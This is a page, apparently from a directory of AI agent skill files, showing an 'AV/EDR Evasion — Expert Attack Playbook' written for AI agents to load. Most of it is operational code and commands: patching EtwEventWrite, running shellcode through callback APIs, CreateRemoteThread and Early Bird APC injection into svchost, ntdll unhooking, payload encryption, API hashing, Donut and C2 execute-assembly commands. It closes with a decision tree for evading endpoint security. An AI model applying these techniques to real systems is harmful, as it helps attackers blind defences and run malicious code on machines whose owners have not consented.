windows-av-evasion
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
AV/EDR evasion playbook for Windows. Use when bypassing AMSI, ETW, .NET assembly detection, shellcode execution, process injection, API hooking, and signature-based detection on Windows endpoints.
3 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- light0921/skillsedited, first seen Oct 13, 2026
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions3 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 2
- Kur1sulab/blackbox★ 399% same
- light0921/skills★ 148% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
- 401-403-bypass-techniquesSkill
- active-directory-acl-abuseSkill
- active-directory-certificate-servicesSkill
- active-directory-kerberos-attacksSkill
- agent-browserSkill
- ai-ml-securitySkill
- ai-seoSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authorization-and-bolaSkill
- api-recon-and-docsSkill
- api-secSkill
- arbitrary-write-to-rceSkill
- arize-adminSkill
- arize-ai-provider-integrationSkill
- arize-annotationSkill
- arize-compliance-auditSkill
- arize-datasetSkill
- arize-evaluatorSkill
- arize-experimentSkill
- arize-instrumentationSkill
- arize-linkSkill
- arize-prompt-optimizationSkill
- arize-promptsSkill
- arize-traceSkill
- authbypass-authentication-flawsSkill
- auth-secSkill
- binary-protection-bypassSkill
- browser-exploitation-v8Skill
- building-nango-functions-locallySkill
- building-nango-functions-remotelySkill
- building-nango-functionsSkill
- business-logic-vulnerabilitiesSkill
- business-logic-vulnSkill
- classical-cipher-analysisSkill
- clickjackingSkill
- cmdi-command-injectionSkill
- code-obfuscation-deobfuscationSkill
- compliance-checkSkill
- compliance-trackingSkill
- container-escape-techniquesSkill
- core-engineeringSkill
- cors-cross-origin-misconfigurationSkill
- crlf-injectionSkill
- csp-bypass-advancedSkill
- csrf-cross-site-request-forgerySkill
- csv-formula-injectionSkill
- d3-visualizationSkill
- dangling-markup-injectionSkill
- defi-attack-patternsSkill
- dependency-confusionSkill
- deserialization-insecureSkill
- dns-rebinding-attacksSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 13
Before going deep, consider loading:
≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: AV/EDR Evasion — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
0. RELATED ROUTING
Before going deep, consider loading:
- windows-privilege-escalation when privesc tools are blocked by AV
- windows-lateral-movement when lateral movement tools trigger EDR
- active-directory-kerberos-attacks when Rubeus/Mimikatz are detected
- active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive)
Advanced Reference
Also load AMSI_BYPASS_TECHNIQUES.md when you need:
- Detailed AMSI bypass code patterns (memory patching, reflection)
- PowerShell-specific AMSI bypasses
- .NET AMSI bypass techniques
1. AMSI BYPASS OVERVIEW
AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
Key AMSI Bypass Categories
| Category | Method | Detection Risk | Persistence |
| Memory patching | Patch AmsiScanBuffer in amsi.dll | Medium | Per-process |
| Reflection | Modify AMSI init flags via .NET reflection | Medium | Per-session |
| String obfuscation | Encode/split AMSI trigger strings | Low | Per-payload |
| PowerShell downgrade | Force PS v2 (no AMSI) | Low | Per-session |
| CLM bypass | Escape Constrained Language Mode | Medium | Per-session |
| COM hijack | Redirect AMSI COM server | Low | Per-user |
Quick AMSI Bypass (One-Liners)
# PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)
powershell -Version 2
# Reflection-based (set amsiInitFailed = true)
# Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns2. ETW BYPASS
ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching EtwEventWrite stops .NET assembly load events.
Patch EtwEventWrite
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);PowerShell ETW Bypass
# Disable Script Block Logging (ETW provider)
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation')
# Set internal field to disable ETW tracing3. .NET ASSEMBLY LOADING
In-Memory Assembly.Load
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });Donut — Convert .NET Assembly to Shellcode
# Generate shellcode from .NET EXE
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
# With parameters
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
# Then load shellcode via any injection technique (§5)execute-assembly (C2 Framework)
# Cobalt Strike
execute-assembly /path/to/Rubeus.exe kerberoast
# Sliver
execute-assembly /path/to/SharpHound.exe -c all
# Havoc
dotnet inline-execute /path/to/tool.exe args4. SHELLCODE EXECUTION TECHNIQUES
VirtualAlloc + Callback (Avoids CreateThread)
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);Callback APIs for shellcode execution: EnumWindows, EnumChildWindows, EnumFonts, EnumDesktops, CertEnumSystemStore, EnumDateFormats — all accept function pointers that can point to shellcode.
5. PROCESS INJECTION TECHNIQUES
| Technique | APIs Used | Detection Risk | Notes |
| CreateRemoteThread | OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | High | Classic, heavily monitored |
| NtMapViewOfSection | NtCreateSection, NtMapViewOfSection | Medium | Shared memory, less common |
| Process Hollowing | CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread | Medium | Replace process image |
| Thread Hijacking | SuspendThread, SetThreadContext, ResumeThread | Medium | Modify existing thread |
| Early Bird | CreateProcess (SUSPENDED), QueueUserAPC, ResumeThread | Low-Medium | APC before main thread |
| Phantom DLL Hollowing | Map DLL section, overwrite with shellcode | Low | Uses legitimate DLL mapping |
| Module Stomping | LoadLibrary, overwrite .text section | Low | Backed by legitimate DLL |
| Transacted Hollowing | NtCreateTransaction, NtCreateSection | Low | No suspicious allocations |
CreateRemoteThread (Basic Pattern)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);Early Bird APC Injection
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);
// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);
// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);6. UNHOOKING — BYPASS EDR API HOOKS
Direct Syscalls (SysWhispers / HellsGate)
EDR hooks ntdll.dll functions. Direct syscalls bypass hooks by invoking the kernel directly.
Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)| Tool | Method | Notes |
| SysWhispers2/3 | Compile-time syscall stubs | Static syscall numbers |
| HellsGate | Runtime syscall number resolution | Dynamic, harder to detect |
| HalosGate | Resolve from neighboring unhooked syscalls | Handles partial hooks |
| TartarusGate | Extended HalosGate | More robust resolution |
Fresh ntdll Copy
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)
// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removedIndirect Syscalls
// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code7. PAYLOAD ENCRYPTION & OBFUSCATION
Encryption Methods
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);
// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
shellcode[i] ^= key[i % key.Length];
// RC4 (stream cipher, simple implementation)Sleep Obfuscation
Encrypt shellcode in memory during sleep to avoid memory scanners.
| Technique | Method |
| Ekko | ROP chain → encrypt heap/stack during sleep |
| Foliage | APC-based sleep with memory encryption |
| DeathSleep | Thread de-registration during sleep |
Staged Loading
Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute8. SIGNATURE EVASION
String Encryption
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);API Hashing
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);Metadata Removal
# Strip .NET metadata
ConfuserEx / .NET Reactor / Obfuscar
# Remove PE metadata (timestamps, rich header, debug info)
# Modify compilation timestamps
# Strip PDB pathsC2 Framework Evasion
| Framework | Key Evasion Features |
| Cobalt Strike | Malleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion |
| Sliver | Multiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation |
| Havoc | Indirect syscalls, sleep obfuscation, module stomping |
| Brute Ratel | Badger agent, syscall evasion, ETW/AMSI bypass built-in |
9. AV/EDR EVASION DECISION TREE
Need to execute tool/payload on protected host
│
├── PowerShell-based payload?
│ ├── AMSI blocking? → AMSI bypass first (§1)
│ │ ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│ │ ├── Memory patch AmsiScanBuffer
│ │ └── Reflection-based bypass
│ ├── Script Block Logging? → ETW bypass (§2)
│ └── Constrained Language Mode? → CLM bypass or switch to C#
│
├── .NET assembly (Rubeus, SharpHound, etc.)?
│ ├── Direct execution blocked?
│ │ ├── In-memory Assembly.Load (§3)
│ │ ├── Convert to shellcode with Donut (§3)
│ │ └── Use C2 execute-assembly (§3)
│ └── Still detected?
│ ├── Obfuscate assembly (ConfuserEx)
│ ├── Modify source + recompile
│ └── Use BOFs (Beacon Object Files) if CS
│
├── Shellcode execution needed?
│ ├── Basic → VirtualAlloc + callback (§4)
│ ├── Need injection → choose technique by OPSEC (§5)
│ │ ├── Low detection needed → module stomping or phantom DLL
│ │ ├── Medium → early bird APC or NtMapViewOfSection
│ │ └── Quick and dirty → CreateRemoteThread
│ └── Memory scanners detect payload?
│ ├── Encrypt payload → decrypt only at execution (§7)
│ └── Sleep obfuscation (Ekko/Foliage) (§7)
│
├── EDR hooking ntdll.dll?
│ ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│ ├── Fresh ntdll copy from disk/KnownDlls (§6)
│ └── Indirect syscalls (return to ntdll instruction) (§6)
│
├── Signature detection?
│ ├── Known tool signature → modify + recompile
│ ├── String-based → string encryption / API hashing (§8)
│ ├── PE metadata → strip/modify (§8)
│ └── Behavioral → change execution flow, add junk code
│
└── All local evasion fails?
├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
├── Use legitimate admin tools (PsExec, WMI, WinRM)
└── Switch to fileless / memory-only techniquesDoes it work?
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